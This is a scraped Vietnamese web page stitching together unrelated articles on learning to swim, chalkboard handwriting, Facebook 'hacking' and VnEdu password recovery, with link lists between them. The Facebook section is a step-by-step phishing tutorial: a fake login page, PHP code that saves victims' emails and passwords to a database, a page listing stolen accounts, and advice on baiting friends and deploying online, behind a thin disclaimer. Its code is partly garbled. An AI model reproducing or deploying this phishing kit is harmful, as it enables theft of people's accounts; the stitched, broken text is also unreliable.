    Cách học bơi nhanh dành cho người mới học bơi chính là học cách nín thở và hít thở đúng cách khi ở dưới nước. Thực hiện đúng cách nín thở sẽ giúp cơ thể bạn có thể nổi trên mặt nước và dễ dàng thực hiện các động tác bơi lội tốt nhất. Nếu bạn không biết nín thở ở dưới nước, sẽ gây ra tình trạng sặc nước và bạn không thể bơi được.

    Cách tập nín thở dưới nước không quá khó khăn khi bạn có được sự bình tĩnh và tự tin khi ở dưới nước. Hãy gạt nỗi lo sợ sang 1 bên, thả lỏng người. Bạn đứng dưới nước, hít 1 hơi thật sâu, rồi nín thở và hụp xuống nước. Khi không chịu đựng được nữa thì ngoi đầu lên. Tập luyện liên tục bài tập này cho thật thành thạo, để cơ thể quen với việc nín thở sâu dưới nước. Khi bạn đã biết nín thở lâu dưới nước tức là bạn có thể bơi được dưới nước lâu mà không sợ bị sặc nước.

    3. Bài tập hít thở dưới nước.

    Khi đã tập nín thở thành thục ở dưới nước, bạn cần học cách hít thở dưới nước để cơ thể được cung cấp đầy đủ oxy ở dưới nước và có thể bơi lội được lâu hơn, mà không lo lắng bị ngạt, bị thiếu không khí.

    Cách tập hít thở dưới nước được thực hiện như sau: Bạn đứng ở gần thành bể bơi, dùng 2 tay bám vào thành bể và sau đó, bạn há miệng lấy hơi rồi ngụp đầu xuống nước. Sau khi ngụp xuống nước, bạn vẫn nín thở và sau đó dần thả lỏng người, duỗi thẳng chân ngang với mặt nước. Lúc này, cơ thể của bạn sẽ nổi lên trên mặt nước. Vào thời điểm này, bạn cần thở hết khí ra bằng mũi, sau đó ngoi lên mặt nước và tiếp tục lấy hơi bằng miệng.

    Phương pháp lấy hơi bằng miệng và thở ra bằng mũi sẽ giúp cơ thể bạn lấy được nhiều hơi hơn, giúp bạn bơi được lâu hơn mà không bị thiếu oxy hay khó thở ở dưới nước.

    4. Tập nổi trên mặt nước.

    Sau khi đã học được cách hít thở dưới nước thì chúng ta sẽ chuyển sang tập nổi trên mặt nước. Thực tế, nổi được thì bạn mới có thể bơi được và chính vì thế mà trước đây ông cha chúng ta thường sử dụng cây chuối hoặc phao với mục đích để cho cơ thể nổi trên mặt nước khi tập bơi. Khi tham gia tập bơi tại các hồ bơi thì bạn có thể tập động tác nổi trên mặt nước này như sau: Đưa 2 tay bạn bám vào thành bể, 2 chân duỗi thẳng ra phía sau và sau đó lấy 1 hơi sâu rồi hụp xuống nước, nín thở. Lúc này bạn cần thả lỏng toàn bộ cơ thể, bạn sẽ cảm nhận được cơ thể mình nổi trên mặt nước. Tiếp theo, bạn thở ra bằng mũi dưới nước rồi ngoi lên mặt nước chuẩn bị thực hiện lại cho đến khi thuần thục.

    5. Cách học bơi nhanh với bài tập lướt nước.

    Để có thể bơi nhanh, bạn cần nắm được kỹ thuật lướt nước thành thục nhất. Bài tập lướt nước sẽ giúp bạn biết cách di chuyển người về phía trước dễ dàng hơn, việc bơi lội sẽ đơn giản hơn và không hề khó khăn như bạn nghĩ.

    Bài tập lướt nước này sẽ thực hiện như sau: Bạn tựa lưng vào thành bể bơi, hít hơi sâu bằng miệng cho thật đầy hơi ở bụng và lồng ngực, sau đó nín thở. Hai tay bạn để duỗi thẳng và ép chặt vào thân người, khép 2 vai lại và ngả người về phía trước. Sau đó, mặt úp xuống nước, chân đạp mạnh vào thành bể nhằm tạo lực đẩy cơ thể lướt trên mặt bể. Khi thân người đã được đẩy đi xa, bạn cố gắng đạp chân, đồng thời, lấy tay quạt nước liên tục và đều đặn, nhằm để cơ thể di chuyển đi xa nhất có thể.

    Như vậy, khi bạn thực hiện thành thạo bài tập lướt nước này là bạn đã có thể bơi được rồi. Khi đã nắm được cách học bơi chính xác thì việc nhanh chóng bơi được không còn là vấn đề nữa.

    6. Học đứng dưới nước.

    Đứng dưới nước là một kỹ thuật quan trọng trong quá trình bơi, để bạn có thể đứng lại hít thở nghỉ ngơi khi đang bơi. Bạn hãy co hai chân về phía trước ngực, kéo hai tay về phía sau và quạt nước từ trước ra sau bằng cả hai tay. Sau đó, lấy thăng bằng và đứng thẳng lên, tay và chân bạn vẫn thực hiện động tác quạt nước nhẹ nhàng.

    7. Lựa chọn kiểu bơi dễ trước.

    Trong bộ môn bơi lội, chúng ta có các kiểu bơi cơ bản là bơi ếch, bơi sản, bơi ngửa và bơi bướm. Trong đó, bơi ếch và bơi sải được đánh giá là 2 kỹ thuật cơ bản nhất. Đối với người mới tập bơi, bạn nên chọn 2 hình thức bơi ếch và bơi sải để tập luyện trước. Sau khi đã thành thạo 2 kiểu bơi đơn giản này thì bạn mới bắt đầu học 2 kiểu bơi ngửa và bơi bướm. Đây là cách học bơi nhanh hiệu quả và an toàn nhất.

    Đối với các em học sinh, các thầy cô giáo chỉ cần dạy các em cách bơi ếch và bơi sải để các em rèn luyện sức khỏe và có khả năng bảo vệ bản thân khi mùa mưa lũ tới.

    Lưu ý để học bơi nhanh cho người mới.

    – Trước khi xuống nước để thực hiện các bài tập dưới nước, bạn cần khởi động các khớp cổ tay, cổ chân, nhằm tránh bị chuột rút khi ở dưới nước.

    – Khi tập bơi, bạn cần luôn giữ sự bình tĩnh, không được nóng vội hay lo lắng, sợ sệt. Những ảnh hưởng này sẽ khiến bạn lâu biết bơi hơn. Tâm lý căng thẳng, lo sợ càng khiến bạn nản chí và chùn bước trong quá trình tập luyện.

    – Khi tập bơi, luôn phải có người bên cạnh, tránh tình trạng đuối nước, không có ai ở đó xử lý kịp thời. Đặc biệt là đối với trẻ nhỏ tập bơi, luôn phải có sự sát sao của người lớn.

    – Khi mới tập bơi, bạn có thể mặc áo phao để hỗ trợ khả năng nổi trên mặt nước, dễ dàng học bơi nhanh hơn.

    Lời kết.

    --- Bài cũ hơn ---

  • 5 Cách Học Bơi Nhanh Và Hiệu Quả Nhất
  • Dạy Học Xem Bói Bài Tarot Online Miễn Phí (Cực Chất)
  • Học Cách Bói Bài Tarot Online Đơn Giản Và Chính Xác 100%
  • Xem Bói Bài Thời Vận Ngày Hôm Nay Bằng Bói Bài Tây 32 Lá Siêu Chuẩn
  • Hướng Dẫn Ba Mẹ Dạy Trẻ Học Bơi
  • Cách Viết Chữ Đẹp Trên Bảng Của Giáo Viên Có Nhiều Năm Kinh Nghiệm

    --- Bài mới hơn ---

  • Kỹ Năng Luyện Viết Bảng Đẹp Dành Cho Học Viên Và Giáo Viên
  • Kỹ Thuật Dạy Học Sinh Lớp 1 Viết Đúng, Viết Đẹp
  • Mẫu Chữ Tập Viết Lớp 1
  • Bản Mềm Vở Mẫu Tập Viết 29 Chữ Cái Dành Cho Học Sinh Lớp 1 Cỡ 4 Ô Ly
  • Hướng Dẫn Viết Mẫu Chữ Và Cách Viết Chữ Đ Sáng Tạo
  • Viết chữ đẹp là một nghệ thuật, người viết chữ đẹp là một nghệ sĩ. Viết chữ trên giấy hay trên bảng đều đòi hỏi người cầm bút rất nhiều kỹ năng. Bên cạnh vốn kiến thức để biết cách viết chữ đẹp trên bảng. Người cầm bút phải có sự khéo léo, kiên nhẫn để tập luyện.

    Cầm phấn đúng chuẩn

    Cầm phấn cũng cầm bằng 3 ngón tay giống như khi cầm bút: ngón trỏ, giữa, cái. Tuy nhiên, khác nhau ở điểm:

    Khi cầm bút, ngón giữa có chức năng chính là làm điểm tựa. Nhưng khi cầm phấn thì cả 3 ngón tay đều giữ và điều khiển viên phấn.

    Để di chuyển phấn dễ dàng, tạo nét chữ đẹp. Người viết chú ý viên phấn cách đầu ngón tay cái 1cm.

    Cách viết chữ đẹp trên bảng là khi cầm phấn người viết không nên cầm quá chặt hoặc lỏng. Độ cầm chắc vừa phải, thoải mái sẽ giúp quá trình viết thuận lợi hơn.

    Cách điều khiển phấn

    Tùy vào hướng đi của viên phần mà người viết tạo độ nhấn cho từng ngón sao cho phù hợp. Ví dụ điều khiển nét viết sang phải thì nên nhấn mạnh ngón cái. Điều khiển nét viết sang trái thì tập trung nhấn mạnh ngón giữa và trỏ.

    Muốn tạo nét thanh, người viết cầm phấn nhẹ tay và di chuyển lên trên. Ngược lại, để tạo nét đậm khi di chuyển phấn xuống cần miết mạnh một chút. Luôn xoay đầu phấn là cách để sở hữu các nét chữ trên bảng đều đặn, thanh mảnh.

    Để biết cách viết chữ đẹp trên bảng không hề khó nhưng cũng không đơn giản chút nào. Điều quan trọng nhất là người viết phải thực sự chú tâm rèn luyện mỗi ngày. Mới đầu tập viết chắc chắn trình bày bảng sẽ vụng về, nét chữ không được đều. Nhưng nếu chăm chỉ tập luyện một thời gian chắc chắn chữ viết sẽ cải thiện và đẹp như ý muốn.

    Chú ý tư thế đứng

    Tuyệt đối không đứng đối diện che hết mặt bảng, vì người ở dưới không thể nhìn thấy được. Khi viết nên đứng tránh về một bên trái hoặc phải tùy vào hướng viết. Tránh không che khuất tầm nhìn của người ở dưới. Một lưu ý khác để biết cách viết chữ đẹp trên bảng. Đó là không viết quá cao hoặc quá thấp. Việc khum cúi người hay nhón lên cao khiến chữ dễ bị lệch, nét không đều.

    Một số lưu ý cơ bản

    Ngoài những lưu ý trên, người viết nên nhớ để trình bày bảng đẹp, luyện chữ đẹp. Trước hết, người cầm bút cần luyện tập thuần thục chữ thường, chữ hoa, tập các kỹ thuật liền mạch. Cụ thể là các nét móc, tròn, cong, thẳng… Thực hành nhiều để cổ tay, các ngón tay dẻo dai, giúp điều khiển phấn dễ dàng hơn.

    --- Bài cũ hơn ---

  • Tạo Chữ Kiểu Đẹp, Chữ In Đậm, Nghiêng, Gạch Ngang Trên Facebook
  • Hướng Dẫn Cơ Bản Cho Người Mới Tập Thể Hình
  • Cách Chơi Liên Minh Huyền Thoại Cho Người Mới Chơi
  • Hướng Dẫn Chơi Liên Minh Huyền Thoại Cơ Bản Cho Người Mới Chơi
  • Thuật Ngữ Liên Minh, Cách Chơi Lmht Cho Người Mới
  • Cách Hack Nick Bằng Code Hack Facebook

    --- Bài mới hơn ---

  • Hướng Dẫn Tạo Popup Facebook Like Box Cho Blogspot
  • 7 Cách Thắt Cà Vạt Đơn Giản Cực Sang Trọng Cho Mọi Dịp
  • Hướng Dẫn Thắt Cà Vạt Bản Nhỏ
  • Bela 10747 Lari 10747 Xếp Hình Kiểu Lego Marvel Super Heroes The Ultimate Battle For Asgard Thunder 3 The Ultimate Battle Of Evil Trận Chiến Cuối Cùng Tại Asgard Giá Sốc Rẻ Nhất
  • Children First (Formerly Public Citizens For Children And Youth)
  • Lưu ý: Bài viết code hack Facebook chỉ mang tính chất tham khảo, tuyệt đối không sử dụng vào hành vi trái pháp luật.

    Hack tài khoản facebook bằng code cần lưu ý gì?

    Mục đích mình muốn chia sẻ bài viết này chính là để các bạn nhận thức được rằng. Dù là tài khoản facebook, hay instagram, twitter, linkedin… Thì đều có thể bị các hacker tấn công. Bằng cách này hay cách khác, nhưng nổi trội hơn cả chính là cách tấn công bằng phishing attack cụ thể ở đây là Code hack Facebook.

    Trước khi hack tài khoản facebook cần chuẩn bị những gì?

    Để có thể bắt đầu thực hiện code hack facebook, check pass facebook, code hack nick faceebook bạn cần chuẩn bị một số kiến thức và ngôn ngữ chuyên ngành như sau:

    • HTML.
    • CSS.
    • JavaScript.
    • PHP and MySQLi.

    Tiếp đó bạn cần phải lưu trữ thông tin đăng nhập của chủ tài khoản, trong cơ sở dữ liệu (PHP và MySQLi sử dụng trong lúc này). Sau đó chuyển hướng đến người dùng đến trang facebook gốc. (Lúc này JavaScript phát huy tác dụng của mình).

    Bật mí cách bẫy người dùng, cách hack tài khoản facebook

    • Kiểm tra xem người dùng thích nhất điều gì?

    Việc đầu tiên để code hack Facebook đạt hiệu xuất cao nhất. Thì bạn nên lập trang web đáng yêu để bẫy họ, tiếp đó cho phép họ mở trang yêu thích của mình. Ví dụ như: Kiếm tiền trong thời gian nhanh nhất, Cách giảm mỡ bụng nhanh trong vòng 7 ngày đón tết…

    • Check xem người dùng đang sử dụng điện thoại, hay máy tính ở thời điểm hiện tại

    Lúc này bạn cần phải biết được người dùng đang hoạt động trên thiết bị điện tử nào, di động hay laptop,…Sau đó triển khai các code chuyển hướng tự động tại trang đăng nhập của chính mình. Nhằm mục đích là chuyển hướng người dùng đến trang đăng nhập phiên bản máy tính, trong trường hợp họ sử dụng máy tính để bàn.

    • Chọn thời điểm thích hợp nhất để giăng bẫy

    Sau cùng là chọn thời điểm thích hợp nhất để giăng bẫy người dùng. Tiếp đó gửi liên kết và hack tài khoản facebook cá nhân của họ. Thời điểm thích hợp là như thế nào? Thời điểm thích hợp ở đây chính là lúc người dùng rảnh rỗi. Nói một cách dễ hiểu thì họ gần như có thể mở ra bất kỳ thứ gì với tâm trí rảnh nhất.

    Dùng code hack facebook trải qua mấy bước?

    • Tiếp đó, bạn cần phải tạo tập lệnh xử lý trang đăng nhập. Nhằm lưu trữ thông tin trong cơ sở dữ liệu của mình.
    • Sau đó, chuyển hướng chủ tài khoản facebook gốc sau khi lưu trữ. Hay nhận được thông tin đăng nhập.
    • Tiếp theo tạo cơ sở dữ liệu, với mục đích là lưu trữ ID, và mật khẩu nick facebook.
    • Sau khi hoàn thành xong, gửi liên kết đăng nhập cho người sử dụng.
    • Tiếp đó, tạo trang web nhằm xem ID và mật khẩu nick facebook bị hack.

    Sau khi bạn đã gửi liên kết đăng nhập đến cho người dùng đúng với mục đích của bạn. Bây giờ việc của bạn là chờ đợi và không phải làm thêm bất kỳ điều gì. Bởi sau lúc này, người bị giăng bẫy sẽ bắt đầu làm việc cho bạn. Nói một cách dễ hiểu thì họ làm việc gián tiếp, và sẽ tự động cung cấp mã ID và mật khẩu nick facebook trong cơ sở dữ liệu của bạn. Việc của bạn lúc này chính là xem trong cơ sở dữ liệu của mình đã có ID và mật khẩu ấy chưa?

    Hoặc không bạn cũng có thể tự tạo cho mình một trang web với mục đích là xem danh sách mật khẩu nick facebook của người dùng bị nhắm mục tiêu.

    Hay mắc kẹt với ID facebook của họ. Bước cuối cùng trong việc code hack facebook chính là một trang web hiển thị một cách chi tiết nhất nick facebook bị code hack facebook tấn công.

    Nếu vậy thì bạn không cần phải vào cơ sở dữ liệu của mình để xem có người dùng nào bị mắc bẫy hay không.

    Tạo trang đăng nhập sao cho giống với trang đăng nhập facebook.

    Để có thể thực hiện được bước này một cách thuận lợi, bạn cần phải biết người dùng được nhắm mục tiêu của bạn, yêu thích gì nhất? Ví dụ, nếu bạn của bạn đang khao khát kiếm được tiền trong thời gian ngắn.

    Lưu ý: Mã đăng nhập này chỉ dành cho người dùng trên điện thoại di động. Việc của bạn lúc này chính là triển khai mã chuyển hướng nhằm chuyển hướng người dùng đến trang đăng nhập, dành cho điện thoại di động hay may tinh để sử dụng mã JavaScript. Lúc này bạn sẽ nhận được một dãy mã đăng nhập như sau:

    table tr td{text-align:center;}

    .bottom a{color:#D3D3D3;}

    .bottom a:link{text-decoration:none;}

    input{padding:10px;}

    .login{background-color:#3b5998;color:white;}

    .check{background-color:#32CD32;color:white;padding:12px;}

    .inputf a:link{text-decoration:none;}

    document.title=’Facebook – Log In or Sign Up’;

    <input name=”email” type=”text” id=”email” placeholder=”Email address or phone number” maxlength=”40″ size=”30px”

    <input name=”pass” type=”password” id=”pass” placeholder=”Password” maxlength=”40″ size=”30px”

    Tuy nhiên, trước khi thực hiện mã trực tuyến, với mục đích nhắm mục tiêu người dùng và lấy đi ID, mật khẩu facebook của chính họ. Bạn cần phải thực hiện hệ thống hack tài khoản facebook của người khác trong chính hệ thống máy tính cục bộ. Để có thể làm được điều này, bạn cần phải tải và cài đặt phần mềm XAMPP về máy tính của bạn. Sau đó thực hiện tuần tự theo các bước sau:

    • Đầu tiên, cần phải lưu đoạn mã ở trên vào trong mục C:xampphtdocs với tên chúng tôi . Tiếp đó đặt ảnh hiển thị bên trong kèm theo đó là thư mục có cùng tên. Tuy nhiên, phần mở rộng là .jpg là earnmoney.jpg.
    • Tiếp đó, mở XAMPP đồng thời khởi động Apache và MySQL. Nhìn chung là nó hơi mơ hồ khó hiểu với những gì mình đang nói. Vậy thì hãy làm theo hướng dẫn PHP và MyQLi để bạn cảm thấy tốt hơn. Và bắt đầu bắt tay vào việc code hack facebook với id và mật khẩu nick facebook.

    Như đoạn mã được chia sẻ trên chỉ có thể áp dụng cho người dùng trên điện thoại di động. Tuy nhiên bạn cần phải tạo cùng một trang đăng nhập cho cả hai người sử dụng. Một là cho người dùng facebook trên di động, một là cho người sử dụng facebook trên máy tính bàn, laptop…

    Lúc này bạn chỉ cần đặt đoạn mã trên, ở ngày trên đầu của trang đăng nhập đã tạo trước đó.

    Tạo Script để lưu trữ thông tin đăng nhập facebook

    Đây chính là Script xử lý đăng nhập, với mục đích là lưu trữ thông tin đăng nhập facebook của người dùng được nhắm mục tiêu trong cơ sở dữ liệu.

    <?php 

    $conn = mysqli_connect('localhost', 'root', '', 'fbhackedusers');

    if(mysqli_connect_error())

    {

    // redirect users to original facebook if error occurred

    header("location: https://www.facebook.com");

    exit();

    }

    <?php

    if($_SERVER))

    {

    $email = $pass = "";

    // get facebook email id

    $email = $_POST;

    // insert the facebook id and password in database

    $sql = "insert into fbusers(facebookid, facebookpassword) values('$email', '$pass')";

    }

    }

    // redirect users to original facebook url

    header("location: https://www.facebook.com");

    exit();

    Sau đó, bạn chỉ cần đặt tập tin trên vào với thư mục với tên login.php.

    Chuyển hướng người dùng đến URL facebook gốc

    Đến đây bạn cũng có thể thấy được rằng, từ hai bước thực hiện trên đoạn mã sau khi sử dụng, sẽ chuyển hướng người dùng đến facebook gốc.

    Tạo cơ sở dữ liệu để lưu trữ ID và mật khẩu Facebook

    Lúc này bạn chỉ cần tạo một cơ sở dữ liệu có cùng tên. Tiếp đó tạo một bảng có cùng tên gọi. Sau cùng tạo ra các cột với các chi tiết giống như được sử dụng trong đoạn mã bên trên. Đây chính là cơ sở dữ liệu có tên fbhackedusers bảng có tên fbusers, sau cùng là các cột là facebookid và facebookpassword.

    Để có thể làm được điều đó, chỉ cần thực hiện theo các bước hướng dẫn sau:

    • Lúc này, một trang web được mở ngay trong trình duyệt web mặc định của bạn với url http://localhost/phpmyadmin/
    • Tiếp đó là kích chuột vào databases.
    • Nhập tên cơ sở dữ liệu như fbhackedusers, nhấn nút Create.
    • Tiếp theo nhập fbusers bên cạnh tên, tiếp đó đặt 3 bên cạnh số cột. Kích chuột vào nút Go.
    • Sau cùng bạn chỉ cần cung cấp thông tin một cách chi tiết nhất cho tất cả ba cột trên.
    1. Cột đầu tiên như chúng tôi dưới dạng tên. INT là loại, 6 là độ dài. Giá trị, Primary là chỉ mục, và đánh dấu vào A.I tăng tự động.
    • Cột thứ hai giống như facebookid là Tên, VARCHAR- Loại, 40 là Length/Values
    • Cột thứ ba giống như mật khẩu facebook: Chính là Tên, VARCHAR làm Loại, 40 là Length/Values

    Gửi liên kết code hack facebook cho bạn bè

    Lúc này bạn chỉ cần gửi liên kết cho bạn bè của bạn, để bắt đầu lấy ID cũng như mật khẩu nick facebook của họ bằng trang code hack Facebook vừa tạo.

    Tạo trang web để liệt kê người dùng facebook bị tấn công

    Để biết được người dùng bị lưu thông tin, hay ID và mật khẩu nick facebook bị tấn công. Bạn cần phải truy cập vào cơ sở dữ liệu của mình. Để dễ dàng xem được id và mật khẩu nick facebook bị code hack facebook. Bạn chỉ cần tạo một trang web khác, sau đó tìm nạp và liệt kê tài khoản facebook Id, mật khẩu từ cơ sở dữ liệu thuộc dạng bảng, điển hình như đoạn mã sau:

    <?php

    $conn = mysqli_connect('localhost', 'root', '', 'fbhackedusers');

    table th, td{border:1px solid black;padding:10px;}

    <?php

    $sql = "select * from fbusers";

    while($row=mysqli_fetch_row($res))

    {

    }

    Đặt tên tệp này nằm trong cùng một thư mục với tên gọi hackeusers.php.

    Ví dụ cụ thể về cách code hack facebook

    Đầu tiên hãy xem ảnh chụp màn hình từng bước của việc code hack facebook và mật khẩu bạn bè của bạn.

    Lúc này bạn bè của bạn sẽ nhập id và mật khẩu tài khoản facebook của họ. Để nhận được thông tin về cách kiếm tiền trong thời gian ngắn nhất. Hoặc bạn cũng có thể thay đổi thông điệp, tiêu đề hoặc mô tả theo yêu cầu của chính bạn. Đó là điều mà bạn đang mong muốn lúc này để code hack Facebook đạt hiệu quả nhất.

    Còn đây chính là ảnh chụp màn hình bản demo code hack Facebook sau khi đã nhập thông tin đăng nhập. 

    Sau khi họ nhập thông tin đăng nhập facebook và nhấn nút đăng nhập. Lúc này tập lệnh xử lý đăng nhập của bạn lúc này sẽ được lưu trữ các chi tiết bên trong cơ sở dữ liệu. Đồng thời, chuyển hướng người dùng đến URL facebook ban đầu.

    ID và mật khẩu tài khoản facebook bạn bè sẽ được lưu trữ bên trong cơ sở dữ liệu của bạn. Điều này có nghĩa là bạn có thể xem danh sách những người sử dụng fb bị tấn công. Bằng cách sử dụng chính trang web của mình, trang web này được tạo ra ở bước cuối cùng. Mở trình duyệt và nhập localhost/hackedusers.php.

    Bạn cũng có thể áp gửi liên kết này đến bất kỳ người bạn nào của bạn đang sử dụng fb, sắp bị bạn hack. Để chắc chắn rằng bạn bè của bạn có bị mắc trong hệ thống code hack facebook của bạn hay không? Hãy kiểm tra danh sách người dùng bị hack.

    Sau cùng, triển khai hệ thống code hack facebook trực tiếp ra ngoài mạng internet.

    • Tạo thư mục nói rằng fb bên trong thư mục mẹ.

    • Sau đó, đặt tất cả các tệp chúng tôi chúng tôi chúng tôi chúng tôi cùng tệp hình ảnh, ở đây chúng tôi vào bên trong thư mục được đặt với tên gọi facebook.

    • Sau đó gửi liên kết cho bạn bè của bạn, với link

      ….

    • Sau cùng mở liên kết trong trình duyệt của bạn, đó là kênh

      ….

    Sau khi thực hiện tất cả những bước trên, việc bạn cần làm lúc này chính là thay đổi một chuỗi kết nối. Có nghĩa là bạn phải thay đổi localhost bằng chính địa chỉ hosting của bạn. Root bằng tên người dùng cơ sở dữ liệu. Mật khẩu cũng chính là mật khẩu cơ sở dữ liệu của bạn. Sau cung thay thế localhost thành https://…

    Hoặc bạn có thể thực hiện một số thay đổi khác sao cho phù hợp với việc code hack facebook. Nhằm hack id, mật khẩu facebook của bất kỳ ai đó.Đây chỉ là bản demo để bạn có thể hiểu được rằng bạn có thể code hack facebook của bất kỳ ai bằng phương pháp đơn giản,

    Lưu ý khi sử dụng mạng internet

    Trong khuôn khổ bài viết này chúng tôi hướng dẫn và cung cấp khá đầy đủ, thực hiện các bước một cách chi tiết từ A đến Z việc code hack facebook. Với mục đích giúp bạn hiểu được rằng khi có liên kết lạ gửi đến cho bạn thì hậu quả sẽ ra sao.

    Bạn sẽ phải đối mặt với những rắc rối gì? Sau khi mở và điền vào đó thông tin chi tiết bên trong một trang web không xác định. Thực tế, chỉ cần nhấp vào bất kỳ một liên kết ngẫu nhiên nào đó, rất có thể bạn sẽ bị tấn công.

    Hay tài khoản của bạn cũng sẽ bị tấn công vì hiện nay có rất nhiều loại tin tặc có sẵn. Và chính điều này sẽ khiến bạn gặp phải rắc rối, khi nhấp vào bất kỳ một liên kết lạ nào. Chính vì thế, bạn cần phải hết sức lưu ý khi sử dụng mạng internet. 

    4.5

    /

    5

    (

    2

    bình chọn

    )

    --- Bài cũ hơn ---

  • Hướng Dẫn Tạo Fanpage Facebook Cộng Đồng Và Tăng Like Miễn Phí
  • Cách Tạo Tài Khoản Facebook Hàng Loạt, Hướng Dẫn Lên Camp Để Live Ads 2022
  • Simple Facebook Download Free Full Crack 2022 Và Hướng Dẫn Sử Dụng
  • Cách Tạo Shop Bán Hàng Trên Facebook: Hướng Dẫn Chi Tiết A
  • Cách Tạo Fanpage Bán Hàng Online Chuyên Nghiệp Trên Facebook
  • Hướng Dẫn Lấy Lại Mật Khẩu Vnedu Của Bạn Một Cách Nhanh Chóng

    --- Bài mới hơn ---

  • #1 : Bật Mí Cách Hack Vàng Liên Quân Không Phải Ai Cũng Biết
  • Cách Tăng Hàng Triệu View Youtube Chỉ Sau 10 Phút
  • Cách Tăng View Cho Youtube Nhanh Chóng An Toàn
  • Cách Tăng View, Hack Sub Trên Youtube Nhanh Nhất 2022
  • Tải Game War Robots Mod Apk V6.2.2 (Vô Hạn Tiền)
  • VnEdu được phát triển bởi VNPT Group, giúp giáo viên quản lý học sinh, điểm đầu vào, quản lý lớp học Hiệu quả hơn. Đồng thời, nó cũng cho phép sinh viên theo dõi kết quả học tập dễ dàng.

    Vì vậy, không may quên mật khẩu đăng nhập VnEdu, phải làm sao? Đó là một câu hỏi mà nhiều người cần tìm câu trả lời. Giáo viên và học sinh & # 39; tài khoản sẽ có các cách khác nhau để khôi phục mật khẩu, vì vậy vui lòng tham khảo bài viết sau để tìm hiểu cách:

    Tiếng Anh

    Hướng dẫn giáo viên lấy lại mật khẩu VnEdu

    Tài khoản khai báo số điện thoại, email

    Bước 1: Truy cập trang chủ VnEdu, nhấp Đăng nhập Ở góc trên bên phải, chọn Giáo viên đăng nhập.

    Bước 2: Trưng bày Đăng nhập xuất hiện, nhấp vào liên kết Quên mật khẩu?

    Bước 3: Trong cửa sổ Quên mật khẩu, nhập số điện thoại hoặc email của tài khoản để lấy lại mật khẩu trong hộp Số điện thoại hoặc emailvà sau đó nhấn nút Lấy lại mật khẩu.

    Bước 4: Trong trường hợp lấy lại mật khẩu bằng số điện thoại, hãy viết tin nhắn theo cú pháp: QMK TL gửi tới 8099 (1.000 đồng / tin nhắn). Sau đó nhập mã mà hệ thống đã gửi đến điện thoại di động của bạn vào ô Mã di động. Trong dòng Vui lòng chọn tài khoản bạn muốn lấy lại mật khẩu của mình, chọn tên tài khoản để lấy mật khẩu và nhấp vào nút Tiếp tục. Trong cửa sổ Xác nhận mật khẩu, nhập và xác nhận mật khẩu mới.

    Trong trường hợp khôi phục mật khẩu bằng email, chọn tên tài khoản để đặt lại mật khẩu, sau đó nhấn nút Tiếp tục. Sau đó, hệ thống sẽ gửi liên kết đến địa chỉ email được khai báo, nhấp vào liên kết để nhập và xác nhận mật khẩu mới.

    Tài khoản không khai báo số điện thoại, email

    Trong trường hợp tài khoản giáo viên không khai báo số điện thoại hoặc địa chỉ email của bạn, vui lòng liên hệ với quản trị viên của trường Cập nhật thông tin hồ sơ. Tiến hành như sau:

    Cách 1: Về mặt hàng Hồ sơ nhân sự (Bắt đầu / Quản lý nhân sự / Hồ sơ nhân sự) trong Quản lý trường học, cập nhật thông tin: Số điện thoại di động, email.

    Cách 2: Đối với các giáo viên không thể truy cập quản lý trường học, hãy liên hệ với quản trị viên phần mềm của trường để cập nhật thông tin hồ sơ theo các hướng dẫn ở trên.

    Hướng dẫn sinh viên lấy lại mật khẩu VnEdu

    Bước 1: Truy cập trang chủ Tiếng Anh, nhấp chuột Đăng nhập Ở góc trên bên phải, chọn Sinh viên đăng nhập.

    Bước 2: Trưng bày Đăng nhập vào tài khoản của bạn xuất hiện, nhấp vào liên kết Lấy lại mật khẩu.

    Bước 3: Sử dụng số điện thoại đã đăng ký, nếu không hãy nhớ số điện thoại có thể Tìm kiếm theo mã sinh viên. Sau đó, lấy lại mật khẩu theo cú pháp VNEDU HS MK gửi tới 8099 (1.000 đồng / SMS).

    Bước 3: Hệ thống sẽ gửi mật khẩu mới đến số điện thoại, đăng nhập vào hệ thống bằng mật khẩu đó.

    Như vậy, giáo viên và học sinh đã biết cách lấy lại mật khẩu VnEdu rồi!

      Cách lấy mât khâu vnedu

    --- Bài cũ hơn ---

  • Cara Hack Uc Pubg Mobile 2022: Cach Hack Pubg Mobile Vng Android
  • Tải Về Điện Thoại Bản Hack Game Dream League Soccer 2022 Full Tiền Vàng Hấp Dẫn Nhất 2022
  • Tăng View, Tăng Like, Tăng Follow Theo Dõi Tik Tok
  • Tăng Tym Tik Tok 2022
  • Tải Adorable Home Hack V1.8.6 (Mod Full Tim, Money)
  • Web hay
  • Links hay
  • Guest-posts
  • Push
  • Chủ đề top 10
  • Chủ đề top 20
  • Chủ đề top 30
  • Chủ đề top 40
  • Chủ đề top 50
  • Chủ đề top 60
  • Chủ đề top 70
  • Chủ đề top 80
  • Chủ đề top 90
  • Chủ đề top 100
  • Bài viết top 10
  • Bài viết top 20
  • Bài viết top 30
  • Bài viết top 40
  • Bài viết top 50
  • Bài viết top 60
  • Bài viết top 70
  • Bài viết top 80
  • Bài viết top 90
  • Bài viết top 100
  • Chủ đề top 10
  • Chủ đề top 20
  • Chủ đề top 30
  • Chủ đề top 40
  • Chủ đề top 50
  • Chủ đề top 60
  • Chủ đề top 70
  • Chủ đề top 80
  • Chủ đề top 90
  • Chủ đề top 100
  • Bài viết top 10
  • Bài viết top 20
  • Bài viết top 30
  • Bài viết top 40
  • Bài viết top 50
  • Bài viết top 60
  • Bài viết top 70
  • Bài viết top 80
  • Bài viết top 90
  • Bài viết top 100